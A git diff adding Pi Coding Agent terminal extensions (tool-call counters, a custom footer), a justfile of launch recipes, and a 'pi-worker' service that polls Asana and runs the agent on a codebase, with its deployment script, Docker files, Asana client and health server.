theme.fg("muted", "Cleared all tasks"), 0, 0); + + default: + return new Text(theme.fg("dim", "done"), 0, 0); + } + }, + }); + + // ── /tilldone command ────────────────────────────────────────────── + + pi.registerCommand("tilldone", { + description: "Show all TillDone tasks on the current branch", + handler: async (_args, ctx) => { + if (!ctx.hasUI) { + ctx.ui.notify("/tilldone requires interactive mode", "error"); + return; + } + + await ctx.ui.custom((_tui, theme, _kb, done) => { + return new TillDoneListComponent(tasks, listTitle, listDescription, theme, () => done()); + }); + }, + }); +} diff --git a/extensions/tool-counter-widget.ts b/extensions/tool-counter-widget.ts new file mode 100644 index 0000000..0cee9b2 --- /dev/null +++ b/extensions/tool-counter-widget.ts @@ -0,0 +1,68 @@ +/** + * Tool Counter Widget — Tool call counts in a widget above the editor + * + * Shows a persistent, live-updating widget with per-tool background colors. + * Format: Tools (N): [Bash 3] [Read 7] [Write 2] + * + * Usage: pi -e extensions/tool-counter-widget.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { Box, Text } from "@mariozechner/pi-tui"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +const palette = [ + [12, 40, 80], // deep navy + [50, 20, 70], // dark purple + [10, 55, 45], // dark teal + [70, 30, 10], // dark rust + [55, 15, 40], // dark plum + [15, 50, 65], // dark ocean + [45, 45, 15], // dark olive + [65, 18, 25], // dark wine +]; + +function bg(rgb: number[], s: string): string { + return `\x1b[48;2;${rgb[0]};${rgb[1]};${rgb[2]}m${s}\x1b[49m`; +} + +export default function (pi: ExtensionAPI) { + const counts: Record = {}; + const toolColors: Record = {}; + let total = 0; + let colorIdx = 0; + + pi.on("tool_execution_end", async (event) => { + if (!(event.toolName in toolColors)) { + toolColors[event.toolName] = palette[colorIdx % palette.length]; + colorIdx++; + } + counts[event.toolName] = (counts[event.toolName] || 0) + 1; + total++; + }); + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + ctx.ui.setWidget("tool-counter", (_tui, theme) => { + const text = new Text("", 1, 1); + + return { + render(width: number): string[] { + const entries = Object.entries(counts); + const parts = entries.map(([name, count]) => { + const rgb = toolColors[name]; + return bg(rgb, `\x1b[38;2;220;220;220m ${name} ${count} \x1b[39m`); + }); + text.setText( + theme.fg("accent", `Tools (${total}):`) + + (entries.length > 0 ? " " + parts.join(" ") : "") + ); + return text.render(width); + }, + invalidate() { + text.invalidate(); + }, + }; + }); + }); +} diff --git a/extensions/tool-counter.ts b/extensions/tool-counter.ts new file mode 100644 index 0000000..db02ba5 --- /dev/null +++ b/extensions/tool-counter.ts @@ -0,0 +1,102 @@ +/** + * Tool Counter — Rich two-line custom footer + * + * Line 1: model + context meter on left, tokens in/out + cost on right + * Line 2: cwd (branch) on left, tool call tally on right + * + * Demonstrates: setFooter, footerData.getGitBranch(), onBranchChange(), + * session branch traversal for token/cost accumulation. + * + * Usage: pi -e extensions/tool-counter.ts + */ + +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { basename } from "node:path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +export default function (pi: ExtensionAPI) { + const counts: Record = {}; + + pi.on("tool_execution_end", async (event) => { + counts[event.toolName] = (counts[event.toolName] || 0) + 1; + }); + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + ctx.ui.setFooter((tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => tui.requestRender()); + + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + // --- Line 1: cwd + branch (left), tokens + cost (right) --- + let tokIn = 0; + let tokOut = 0; + let cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + const dir = basename(ctx.cwd); + const branch = footerData.getGitBranch(); + + // --- Line 1: model + context meter (left), tokens + cost (right) --- + const usage = ctx.getContextUsage(); + const pct = usage ? usage.percent : 0; + const filled = Math.round(pct / 10) || 1; + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + const model = ctx.model?.id || "no-model"; + + const l1Left = + theme.fg("dim", ` ${model} `) + + theme.fg("warning", "[") + + theme.fg("success", "#".repeat(filled)) + + theme.fg("dim", "-".repeat(10 - filled)) + + theme.fg("warning", "]") + + theme.fg("dim", " ") + + theme.fg("accent", `${Math.round(pct)}%`); + + const l1Right = + theme.fg("success", `${fmt(tokIn)}`) + + theme.fg("dim", " in ") + + theme.fg("accent", `${fmt(tokOut)}`) + + theme.fg("dim", " out ") + + theme.fg("warning", `$${cost.toFixed(4)}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + // --- Line 2: cwd + branch (left), tool tally (right) --- + const l2Left = + theme.fg("dim", ` ${dir}`) + + (branch + ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") + : ""); + + const entries = Object.entries(counts); + const l2Right = entries.length === 0 + ? theme.fg("dim", "waiting for tools ") + : entries.map( + ([name, count]) => + theme.fg("accent", name) + theme.fg("dim", " ") + theme.fg("success", `${count}`) + ).join(theme.fg("warning", " | ")) + theme.fg("dim", " "); + + const pad2 = " ".repeat(Math.max(1, width - visibleWidth(l2Left) - visibleWidth(l2Right))); + const line2 = truncateToWidth(l2Left + pad2 + l2Right, width, ""); + + return [line1, line2]; + }, + }; + }); + }); +} diff --git a/giveaway/pi-easymode b/giveaway/pi-easymode new file mode 160000 index 0000000..419f9a7 --- /dev/null +++ b/giveaway/pi-easymode @@ -0,0 +1 @@ +Subproject commit 419f9a7cfa50897973ae74f45315901bb7528726 diff --git a/hub-check.png b/hub-check.png new file mode 100644 index 0000000..4b3067d Binary files /dev/null and b/hub-check.png differ diff --git a/images/pi-logo.png b/images/pi-logo.png new file mode 100644 index 0000000..6b7fc49 Binary files /dev/null and b/images/pi-logo.png differ diff --git a/images/pi-logo.svg b/images/pi-logo.svg new file mode 100644 index 0000000..ed14b63 --- /dev/null +++ b/images/pi-logo.svg @@ -0,0 +1,22 @@ + + + + + + + diff --git a/justfile b/justfile new file mode 100644 index 0000000..7f8b7b5 --- /dev/null +++ b/justfile @@ -0,0 +1,134 @@ +set dotenv-load := true + +default: + @just --list + +# g1 + +# 1. default pi +pi: + pi + +# 2. Pure focus pi: strip footer and status line entirely +ext-pure-focus: + pi -e extensions/pure-focus.ts + +# 3. Minimal pi: model name + 10-block context meter +ext-minimal: + pi -e extensions/minimal.ts -e extensions/theme-cycler.ts + +# 4. Cross-agent pi: load commands from .claude/, .gemini/, .codex/ dirs +ext-cross-agent: + pi -e extensions/cross-agent.ts -e extensions/minimal.ts + +# 5. Purpose gate pi: declare intent before working, persistent widget, focus the system prompt on the ONE PURPOSE for this agent +ext-purpose-gate: + pi -e extensions/purpose-gate.ts -e extensions/minimal.ts + +# 6. Customized footer pi: Tool counter, model, branch, cwd, cost, etc. +ext-tool-counter: + pi -e extensions/tool-counter.ts + +# 7. Tool counter widget: tool call counts in a below-editor widget +ext-tool-counter-widget: + pi -e extensions/tool-counter-widget.ts -e extensions/minimal.ts + +# 8. Subagent widget: /sub with live streaming progress +ext-subagent-widget: + pi -e extensions/subagent-widget.ts -e extensions/pure-focus.ts -e extensions/theme-cycler.ts + +# 9. TillDone: task-driven discipline — define tasks before working +ext-tilldone: + pi -e extensions/tilldone.ts -e extensions/theme-cycler.ts + +#g2 + +# 10. Agent team: dispatcher orchestrator with team select and grid dashboard +ext-agent-team: + pi -e extensions/agent-team.ts -e extensions/theme-cycler.ts + +# 11. System select: /system to pick an agent persona as system prompt +ext-system-select: + pi -e extensions/system-select.ts -e extensions/minimal.ts -e extensions/theme-cycler.ts + +# 12. Launch with Damage-Control safety auditing +ext-damage-control: + pi -e extensions/damage-control.ts -e extensions/minimal.ts -e extensions/theme-cycler.ts + +# 13. Agent chain: sequential pipeline orchestrator +ext-agent-chain: + pi -e extensions/agent-chain.ts -e extensions/theme-cycler.ts + +#g3 + +# 14. Pi Pi: meta-agent that builds Pi agents with parallel expert research +ext-pi-pi: + pi -e extensions/pi-pi.ts -e extensions/theme-cycler.ts + +#ext + +# 15. Observatory: comprehensive observability dashboard with live widget, overlay, and export +ext-observatory: + pi -e extensions/observatory.ts -e extensions/theme-cycler.ts + +# 16. Agent Dashboard: unified observability across team, subagent, and chain interfaces +ext-agent-dashboard: + pi -e extensions/agent-dashboard.ts -e extensions/theme-cycler.ts + +# 17. Session Replay: scrollable timeline overlay of session history (legit) +ext-session-replay: + pi -e extensions/session-replay.ts -e extensions/minimal.ts + +# 18. Theme cycler: Ctrl+X forward, Ctrl+Q backward, /theme picker +ext-theme-cycler: + pi -e extensions/theme-cycler.ts -e extensions/minimal.ts + +# beginner + +# 19. EasyMode: all-in-one beginner-friendly agent with welcome wizard, /menu, safety guards, goals, agent presets +ext-easymode: + pi -e extensions/easymode.ts + +# 20. EasyMode + Theme Cycling +ext-easymode-themed: + pi -e extensions/easymode.ts -e extensions/theme-cycler.ts + +# 21. Model Router: LLM-powered automatic model selection +ext-model-router: + pi -e extensions/model-router.ts -e extensions/theme-cycler.ts + +# utils + +# Open pi with one or more stacked extensions in a new terminal: just open minimal tool-counter +open +exts: + #!/usr/bin/env bash + args="" + for ext in {{exts}}; do + args="$args -e extensions/$ext.ts" + done + cmd="cd '{{justfile_directory()}}' && pi$args" + escaped="${cmd//\\/\\\\}" + escaped="${escaped//\"/\\\"}" + osascript -e "tell application \"Terminal\" to do script \"$escaped\"" + +# Open every extension in its own terminal window +all: + just open pi + just open pure-focus + just open minimal theme-cycler + just open cross-agent minimal + just open purpose-gate minimal + just open tool-counter + just open tool-counter-widget minimal + just open subagent-widget pure-focus theme-cycler + just open tilldone theme-cycler + just open agent-team theme-cycler + just open system-select minimal theme-cycler + just open damage-control minimal theme-cycler + just open agent-chain theme-cycler + just open pi-pi theme-cycler + just open observatory theme-cycler + just open agent-dashboard theme-cycler +# Pi DevOps: optimized for CharityRight/QuikCue infra management +pi-devops: + pi -e extensions/pi-devops.ts -e extensions/theme-cycler.ts diff --git a/package.json b/package.json index db51a11..e5de772 100644 --- a/package.json +++ b/package.json @@ -1,26 +1,15 @@ { - "name": "clinera", - "version": "0.1.0", + "name": "pi-vs-cc", "private": true, - "scripts": { - "dev": "next dev", - "build": "next build", - "start": "next start", - "lint": "eslint" - }, + "type": "module", + "description": "Pi Coding Agent extension playground", "dependencies": { - "next": "16.1.6", - "react": "19.2.3", - "react-dom": "19.2.3" + "@mariozechner/pi-ai": "^0.56.1", + "@mariozechner/pi-coding-agent": "^0.56.1", + "@mariozechner/pi-tui": "^0.56.1", + "yaml": "^2.8.0" }, "devDependencies": { - "@tailwindcss/postcss": "^4", - "@types/node": "^20", - "@types/react": "^19", - "@types/react-dom": "^19", - "eslint": "^9", - "eslint-config-next": "16.1.6", - "tailwindcss": "^4", - "typescript": "^5" + "@playwright/cli": "^0.1.1" } } diff --git a/pi-worker/.env.sample b/pi-worker/.env.sample new file mode 100644 index 0000000..50863c1 --- /dev/null +++ b/pi-worker/.env.sample @@ -0,0 +1,22 @@ +# Asana Integration +ASANA_ACCESS_TOKEN=your_asana_token +ASANA_PROJECT_GID= # Leave empty for auto-discovery +ASANA_WORKSPACE_GID= # Leave empty for auto-discovery + +# Pi Agent +ANTHROPIC_API_KEY=your_anthropic_key +PI_BIN=pi # Path to pi binary +PI_MODEL=claude-sonnet-4-6 # Model to use + +# Project +TARGET_PROJECT_PATH=/opt/charityright # Path to project codebase +EXTENSIONS_PATH=../extensions # Path to pi extensions +AGENTS_PATH=../.pi/agents # Path to agent definitions +LOG_DIR=./logs # Log directory + +# Timing +POLL_INTERVAL_SEC=120 # Check Asana every 2 minutes +IMPROVEMENT_INTERVAL_SEC=3600 # Run improvements every hour + +# Health +HEALTH_PORT=8787 # Health check endpoint port diff --git a/pi-worker/Dockerfile b/pi-worker/Dockerfile new file mode 100644 index 0000000..62a341c --- /dev/null +++ b/pi-worker/Dockerfile @@ -0,0 +1,23 @@ +FROM oven/bun:1-alpine AS base +WORKDIR /app + +# Install pi CLI and dependencies +RUN apk add --no-cache git curl openssh-client + +# Copy package files +COPY package.json bun.lock* ./ +RUN bun install --frozen-lockfile || bun install + +# Copy source +COPY . . + +# Create logs directory +RUN mkdir -p logs + +# Health check +HEALTHCHECK --interval=30s --timeout=10s --retries=3 \ + CMD curl -f http://localhost:8787/health || exit 1 + +EXPOSE 8787 + +CMD ["bun", "run", "src/index.ts"] diff --git a/pi-worker/README.md b/pi-worker/README.md new file mode 100644 index 0000000..987f51a --- /dev/null +++ b/pi-worker/README.md @@ -0,0 +1,50 @@ +# 🤖 Pi Worker + +Autonomous agent that runs inside `cr-server-new`, picks up Asana tasks, and performs automated project improvements using the Pi improved agent. + +## What It Does + +1. **Asana Task Execution**: Polls Asana for tasks in "To Do" or "Pi Worker" sections, executes them using the Pi CLI agent, and reports results back as comments +2. **Autonomous Improvements**: Periodically analyzes the project codebase and makes improvements (code quality, security, docs, testing, performance, type safety) + +## Architecture + +``` +Asana Board ←→ Pi Worker (cr-server-new) ←→ Pi CLI Agent ←→ Codebase + ↕ + Health Server (:8787) +``` + +## Setup + +1. Copy `.env.sample` to `.env` and fill in credentials +2. `bun install` +3. `bun run dev` (local) or `bash deploy.sh` (production) + +## Configuration + +| Variable | Description | Default | +|----------|-------------|---------| +| `ASANA_ACCESS_TOKEN` | Asana personal access token | Required | +| `ASANA_PROJECT_GID` | Project to poll (auto-discovered if empty) | Auto | +| `PI_MODEL` | AI model to use | `claude-sonnet-4-6` | +| `POLL_INTERVAL_SEC` | Asana polling interval | `120` | +| `IMPROVEMENT_INTERVAL_SEC` | Auto-improvement interval | `3600` | + +## Asana Board Setup + +Create these sections in your Asana project: +- **To Do** — Tasks for Pi Worker to pick up +- **In Progress** — Currently being executed +- **Done** — Completed tasks +- **Pi Worker** (optional) — Dedicated section for Pi Worker tasks + +## Health Check + +```bash +curl http://localhost:8787/health +``` + +## Logs + +Logs are written to `./logs/pi-worker-YYYY-MM-DD.log` and stdout. diff --git a/pi-worker/bun.lock b/pi-worker/bun.lock new file mode 100644 index 0000000..61ee9f4 --- /dev/null +++ b/pi-worker/bun.lock @@ -0,0 +1,19 @@ +{ + "lockfileVersion": 1, + "configVersion": 1, + "workspaces": { + "": { + "name": "pi-worker", + "devDependencies": { + "bun-types": "^1.3.10", + }, + }, + }, + "packages": { + "@types/node": ["@types/node@25.3.5", "", { "dependencies": { "undici-types": "~7.18.0" } }, "sha512-oX8xrhvpiyRCQkG1MFchB09f+cXftgIXb3a7UUa4Y3wpmZPw5tyZGTLWhlESOLq1Rq6oDlc8npVU2/9xiCuXMA=="], + + "bun-types": ["bun-types@1.3.10", "", { "dependencies": { "@types/node": "*" } }, "sha512-tcpfCCl6XWo6nCVnpcVrxQ+9AYN1iqMIzgrSKYMB/fjLtV2eyAVEg7AxQJuCq/26R6HpKWykQXuSOq/21RYcbg=="], + + "undici-types": ["undici-types@7.18.2", "", {}, "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w=="], + } +} diff --git a/pi-worker/deploy.sh b/pi-worker/deploy.sh new file mode 100755 index 0000000..e876861 --- /dev/null +++ b/pi-worker/deploy.sh @@ -0,0 +1,46 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Deploy pi-worker to cr-server-new +SERVER="root@159.195.60.33" +CONTAINER="cr-server-new" +DEPLOY_PATH="/opt/pi-worker" + +echo "🚀 Deploying Pi Worker to cr-server-new..." + +# Sync files to server +echo "📦 Syncing files..." +rsync -avz --exclude=node_modules --exclude=logs --exclude=.env \ + ./ ${SERVER}:${DEPLOY_PATH}/ + +# Copy .env if it exists locally +if [ -f .env ]; then + echo "🔐 Syncing .env..." + rsync -avz .env ${SERVER}:${DEPLOY_PATH}/.env +fi + +# Push into container and build +echo "🔨 Building inside cr-server-new..." +ssh ${SERVER} << 'EOF' + incus file push -r /root/pi-worker cr-server-new/opt/ + incus exec cr-server-new -- bash -c " + cd /opt/pi-worker + bun install + echo '✅ Dependencies installed' + " +EOF + +echo "🏃 Starting Pi Worker..." +ssh ${SERVER} << 'EOF' + incus exec cr-server-new -- bash -c " + cd /opt/pi-worker + # Stop existing instance + pkill -f 'bun.*pi-worker' || true + # Start in background + nohup bun run src/index.ts > /var/log/pi-worker.log 2>&1 & + echo '✅ Pi Worker started (PID: $!)' + " +EOF + +echo "🎉 Deployment complete!" +echo "Health check: ssh ${SERVER} 'incus exec ${CONTAINER} -- curl -s http://localhost:8787/health'" diff --git a/pi-worker/docker-compose.yml b/pi-worker/docker-compose.yml new file mode 100644 index 0000000..317881a --- /dev/null +++ b/pi-worker/docker-compose.yml @@ -0,0 +1,24 @@ +version: "3.8" + +services: + pi-worker: + build: . + container_name: pi-worker + restart: unless-stopped + env_file: .env + ports: + - "8787:8787" + volumes: + - ./logs:/app/logs + - pi-sessions:/app/sessions + environment: + - NODE_ENV=production + deploy: + resources: + limits: + memory: 2G + reservations: + memory: 512M + +volumes: + pi-sessions: diff --git a/pi-worker/logs/.gitkeep b/pi-worker/logs/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/pi-worker/logs/pi-worker-2026-03-06.log b/pi-worker/logs/pi-worker-2026-03-06.log new file mode 100644 index 0000000..4ddaa49 --- /dev/null +++ b/pi-worker/logs/pi-worker-2026-03-06.log @@ -0,0 +1,11 @@ +[2026-03-06T07:25:24.241Z] [INFO] [main] Configuration loaded {"model":"claude-sonnet-4-6","pollInterval":"120s","improvementInterval":"3600s","targetProject":"/Users/azreenjamal/pi-vs-claude-code","healthPort":8787} +[2026-03-06T07:25:24.249Z] [INFO] [health] Health server listening on :8787 +[2026-03-06T07:25:24.249Z] [INFO] [task-loop] Starting Asana task polling loop {"interval":"120s","project":""} +[2026-03-06T07:25:24.249Z] [INFO] [task-loop] No project GID configured, discovering... +[2026-03-06T07:25:24.892Z] [INFO] [task-loop] Found 1 workspace(s) [{"gid":"342607773496276","resource_type":"workspace","name":"charityright.org.uk"}] +[2026-03-06T07:25:25.419Z] [INFO] [task-loop] Workspace "charityright.org.uk" has 6 project(s) [{"gid":"1208646974991820","name":"Bug Intake"},{"gid":"1208713370972799","name":"Omair's Todos"},{"gid":"1211205155206401","name":"Automation of event fundraising (Team365)"},{"gid":"1211205155206405","name":"CRM housekeeping"},{"gid":"1211205155206409","name":"Rebuild website & donation platform"},{"gid":"1211205155206413","name":"Agentic AI content mechanism (SEO/AI discoverability)"}] +[2026-03-06T07:25:25.419Z] [INFO] [task-loop] Auto-selected project: Bug Intake (1208646974991820) +[2026-03-06T07:25:25.421Z] [INFO] [task-loop] Polling for Asana tasks... +[2026-03-06T07:25:26.194Z] [INFO] [task-loop] No pending tasks found +[2026-03-06T07:25:26.196Z] [INFO] [improvement-loop] Starting autonomous improvement loop {"interval":"3600s","categories":8} +[2026-03-06T07:25:26.197Z] [INFO] [main] Pi Worker is fully operational 🚀 diff --git a/pi-worker/package.json b/pi-worker/package.json new file mode 100644 index 0000000..97aef96 --- /dev/null +++ b/pi-worker/package.json @@ -0,0 +1,13 @@ +{ + "name": "pi-worker", + "version": "1.0.0", + "private": true, + "type": "module", + "scripts": { + "start": "bun run src/index.ts", + "dev": "bun --watch src/index.ts" + }, + "devDependencies": { + "bun-types": "^1.3.10" + } +} diff --git a/pi-worker/src/asana/client.ts b/pi-worker/src/asana/client.ts new file mode 100644 index 0000000..13240ad --- /dev/null +++ b/pi-worker/src/asana/client.ts @@ -0,0 +1,160 @@ +import type { AsanaTask, AsanaSection, AsanaProject, AsanaComment } from "./types.js"; +import { logger } from "../logger.js"; + +const ASANA_BASE = "https://app.asana.com/api/1.0"; + +export class AsanaClient { + private token: string; + private headers: Record; + + constructor(token: string) { + this.token = token; + this.headers = { + Authorization: `Bearer ${this.token}`, + "Content-Type": "application/json", + Accept: "application/json", + }; + } + + private async request(path: string, options: RequestInit = {}, retries = 3): Promise { + const url = `${ASANA_BASE}${path}`; + + for (let attempt = 1; attempt <= retries; attempt++) { + const res = await fetch(url, { + ...options, + headers: { ...this.headers, ...options.headers }, + }); + + if (res.status === 429) { + const retryAfter = parseInt(res.headers.get("Retry-After") || "30"); + logger.warn("asana", `Rate limited, retrying in ${retryAfter}s (attempt ${attempt}/${retries})`); + await new Promise((r) => setTimeout(r, retryAfter * 1000)); + continue; + } + + if (!res.ok) { + const body = await res.text(); + if (attempt < retries && res.status >= 500) { + logger.warn("asana", `Server error ${res.status}, retrying (attempt ${attempt}/${retries})`); + await new Promise((r) => setTimeout(r, 2000 * attempt)); + continue; + } + throw new Error(`Asana API ${res.status}: ${body}`); + } + + const json = (await res.json()) as { data: T }; + return json.data; + } + + throw new Error(`Asana API failed after ${retries} retries`); + } + + // Get all workspaces + async getWorkspaces(): Promise> { + return this.request("/workspaces"); + } + + // Get all projects in a workspace + async getProjects(workspaceGid: string): Promise { + return this.request(`/workspaces/${workspaceGid}/projects?opt_fields=name`); + } + + // Get all sections in a project + async getSections(projectGid: string): Promise { + return this.request(`/projects/${projectGid}/sections`); + } + + // Get tasks in a project + async getProjectTasks(projectGid: string): Promise { + return this.request( + `/projects/${projectGid}/tasks?opt_fields=name,notes,completed,assignee.name,tags.name,custom_fields,due_on,created_at,modified_at,memberships.project.name,memberships.section.name` + ); + } + + // Get tasks in a section + async getSectionTasks(sectionGid: string): Promise { + return this.request( + `/sections/${sectionGid}/tasks?opt_fields=name,notes,completed,assignee.name,tags.name,custom_fields,due_on,created_at,modified_at,memberships.project.name,memberships.section.name` + ); + } + + // Get single task details + async getTask(taskGid: string): Promise { + return this.request( + `/tasks/${taskGid}?opt_fields=name,notes,completed,assignee.name,tags.name,custom_fields,due_on,created_at,modified_at,memberships.project.name,memberships.section.name` + ); + } + + // Move task to a section + async moveTaskToSection(taskGid: string, sectionGid: string): Promise { + await this.request(`/sections/${sectionGid}/addTask`, { + method: "POST", + body: JSON.stringify({ data: { task: taskGid } }), + }); + } + + // Update task (mark complete, change name, etc) + async updateTask(taskGid: string, updates: Record): Promise { + return this.request(`/tasks/${taskGid}`, { + method: "PUT", + body: JSON.stringify({ data: updates }), + }); + } + + // Add a comment to a task + async addComment(taskGid: string, text: string): Promise { + return this.request(`/tasks/${taskGid}/stories`, { + method: "POST", + body: JSON.stringify({ data: { text } }), + }); + } + + // Get comments on a task + async getComments(taskGid: string): Promise { + return this.request(`/tasks/${taskGid}/stories?opt_fields=text,created_at`); + } + + // Create a new task + async createTask(projectGid: string, data: { name: string; notes?: string; due_on?: string }): Promise { + return this.request("/tasks", { + method: "POST", + body: JSON.stringify({ + data: { + ...data, + projects: [projectGid], + }, + }), + }); + } + + // Get the authenticated user's GID + async getMe(): Promise<{ gid: string; name: string }> { + return this.request("/users/me?opt_fields=name"); + } + + // Get user task list for a workspace + async getUserTaskList(userGid: string, workspaceGid: string): Promise<{ gid: string; name: string }> { + return this.request(`/users/${userGid}/user_task_list?workspace=${workspaceGid}&opt_fields=name`); + } + + // Get tasks from user task list (My Tasks / Recently Assigned) + async getUserTasks(userTaskListGid: string): Promise { + return this.request( + `/user_task_lists/${userTaskListGid}/tasks?opt_fields=name,notes,completed,assignee.name,tags.name,custom_fields,due_on,created_at,modified_at,memberships.project.gid,memberships.project.name,memberships.section.gid,memberships.section.name,assignee_status` + ); + } + + // Helper: Find section by name + async findSection(projectGid: string, sectionName: string): Promise { + const sections = await this.getSections(projectGid); + return sections.find((s) => s.name.toLowerCase().includes(sectionName.toLowerCase())) || null; + } + + // Helper: Get incomplete tasks from a section by name + async getIncompleteTasks(projectGid: string, sectionName: string): Promise { + const section = await this.findSection(projectGid, sectionName); + if (!section) return []; + const tasks = await this.getSectionTasks(section.gid); + return tasks.filter((t) => !t.completed); + } +} diff --git a/pi-worker/src/asana/types.ts b/pi-worker/src/asana/types.ts new file mode 100644 index 0000000..1a8bc41 --- /dev/null +++ b/pi-worker/src/asana/types.ts @@ -0,0 +1,38 @@ +export interface AsanaTask { + gid: string; + name: string; + notes: string; + completed: boolean; + assignee: { gid: string; name: string } | null; + projects: Array<{ gid: string; name: string }>; + tags: Array<{ gid: string; name: string }>; + custom_fields: Array<{ + gid: string; + name: string; + display_value: string | null; + enum_value: { name: string } | null; + }>; + due_on: string | null; + created_at: string; + modified_at: string; + memberships: Array<{ + project: { gid: string; name: string }; + section: { gid: string; name: string }; + }>; +} + +export interface AsanaSection { + gid: string; + name: string; +} + +export interface AsanaProject { + gid: string; + name: string; +} + +export interface AsanaComment { + gid: string; + text: string; + created_at: string; +} diff --git a/pi-worker/src/config.ts b/pi-worker/src/config.ts new file mode 100644 index 0000000..b046b3a --- /dev/null +++ b/pi-worker/src/config.ts @@ -0,0 +1,56 @@ +// Pi Worker Configuration +// Loads and validates environment variables + +export interface Config { + // Asana + asanaAccessToken: string; + asanaProjectGid: string; + asanaWorkspaceGid: string; + + // Pi Agent + piBin: string; + piModel: string; + anthropicApiKey: string; + + // Paths + targetProjectPath: string; + extensionsPath: string; + agentsPath: string; + logDir: string; + projectsPath: string; + + // Timing + pollIntervalSec: number; + improvementIntervalSec: number; + healthPort: number; +} + +function requireEnv(key: string): string { + const value = process.env[key]; + if (!value) { + throw new Error(`Missing required environment variable: ${key}`); + } + return value; +} + +export function loadConfig(): Config { + return { + asanaAccessToken: requireEnv("ASANA_ACCESS_TOKEN"), + asanaProjectGid: process.env.ASANA_PROJECT_GID || "", + asanaWorkspaceGid: process.env.ASANA_WORKSPACE_GID || "", + + piBin: process.env.PI_BIN || "pi", + piModel: process.env.PI_MODEL || "claude-sonnet-4-6", + anthropicApiKey: requireEnv("ANTHROPIC_API_KEY"), + + targetProjectPath: process.env.TARGET_PROJECT_PATH || process.cwd(), + extensionsPath: process.env.EXTENSIONS_PATH || "../extensions", + agentsPath: process.env.AGENTS_PATH || "../.pi/agents", + logDir: process.env.LOG_DIR || "./logs", + projectsPath: process.env.PROJECTS_PATH || "./projects", + + pollIntervalSec: parseInt(process.env.POLL_INTERVAL_SEC || "120"), + improvementIntervalSec: parseInt(process.env.IMPROVEMENT_INTERVAL_SEC || "3600"), + healthPort: parseInt(process.env.HEALTH_PORT || "8787"), + }; +} diff --git a/pi-worker/src/health/server.ts b/pi-worker/src/health/server.ts new file mode 100644 index 0000000..03e1990 --- /dev/null +++ b/pi-worker/src/health/server.ts @@ -0,0 +1,163 @@ +import { logger } from "../logger.js"; + +/** Shape of the JSON body returned by `GET /health`. */ +interface HealthStatus { + /** Overall status of the process. Set to `"degraded"` on graceful shutdown. */ + status: "ok" | "degraded" | "error"; + /** Seconds elapsed since the process started (computed at request time). */ + uptime: number; + /** ISO-8601 timestamp of when the process started. */ + startedAt: string; + /** `true` once the {@link TaskLoop} has been started successfully. */ + taskLoop: boolean; + /** `true` once the {@link ImprovementLoop} has been started successfully. */ + improvementLoop: boolean; + /** ISO-8601 timestamp of the most recent Asana poll, if any. */ + lastPoll?: string; +} + +/** In-memory snapshot of the current health state. */ +let healthStatus: HealthStatus = { + status: "ok", + uptime: 0, + startedAt: new Date().toISOString(), + taskLoop: false, + improvementLoop: false, +}; + +/** + * Merges `updates` into the in-memory health snapshot. + * Call this whenever a subsystem changes state (e.g. after starting a loop + * or during graceful shutdown). + * + * @param updates - Partial fields to overwrite in the current health status. + */ +export function updateHealth(updates: Partial) { + healthStatus = { ...healthStatus, ...updates }; +} + +/** + * Security headers applied to every response from the health server. + */ +const SECURITY_HEADERS: Record = { + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "Cache-Control": "no-store", +}; + +/** + * Starts a systemd watchdog heartbeat if WatchdogSec is configured. + * + * sd_notify is done by writing "WATCHDOG=1" to the NOTIFY_SOCKET. + * Bun doesn't have native sd_notify, so we use a simple UDP/unix datagram. + * Fallback: we just curl the health endpoint and if it responds, we're alive. + */ +let watchdogTimer: ReturnType | null = null; + +function startWatchdog(healthPort: number) { + const watchdogUsec = process.env.WATCHDOG_USEC; + if (!watchdogUsec) { + logger.debug("health", "No WATCHDOG_USEC set, skipping systemd watchdog"); + return; + } + + const intervalMs = Math.floor(parseInt(watchdogUsec) / 1000 / 2); // ping at half the deadline + logger.info("health", `Systemd watchdog enabled, pinging every ${intervalMs}ms`); + + watchdogTimer = setInterval(async () => { + try { + // Self-check: hit our own health endpoint + const res = await fetch(`http://127.0.0.1:${healthPort}/health`); + if (!res.ok) { + logger.error("health", `Watchdog self-check failed: ${res.status}`); + return; // Don't notify systemd — let it kill us + } + + const data = (await res.json()) as HealthStatus; + if (data.status !== "ok") { + logger.warn("health", `Watchdog: status is ${data.status}, not notifying systemd`); + return; + } + + // Notify systemd via systemd-notify command + try { + const proc = Bun.spawn({ + cmd: ["systemd-notify", "WATCHDOG=1"], + stdout: "ignore", + stderr: "ignore", + }); + await proc.exited; + } catch { + // systemd-notify not available — not critical + } + } catch (e) { + logger.error("health", `Watchdog ping failed: ${e}`); + // Don't notify — let systemd restart us + } + }, intervalMs); +} + +export function stopWatchdog() { + if (watchdogTimer) { + clearInterval(watchdogTimer); + watchdogTimer = null; + } +} + +/** + * Starts the HTTP health server on the given `port`. + * + * ### Endpoints + * + * | Method | Path | Response | + * |--------|-----------|----------| + * | GET | `/health` | `200 application/json` — 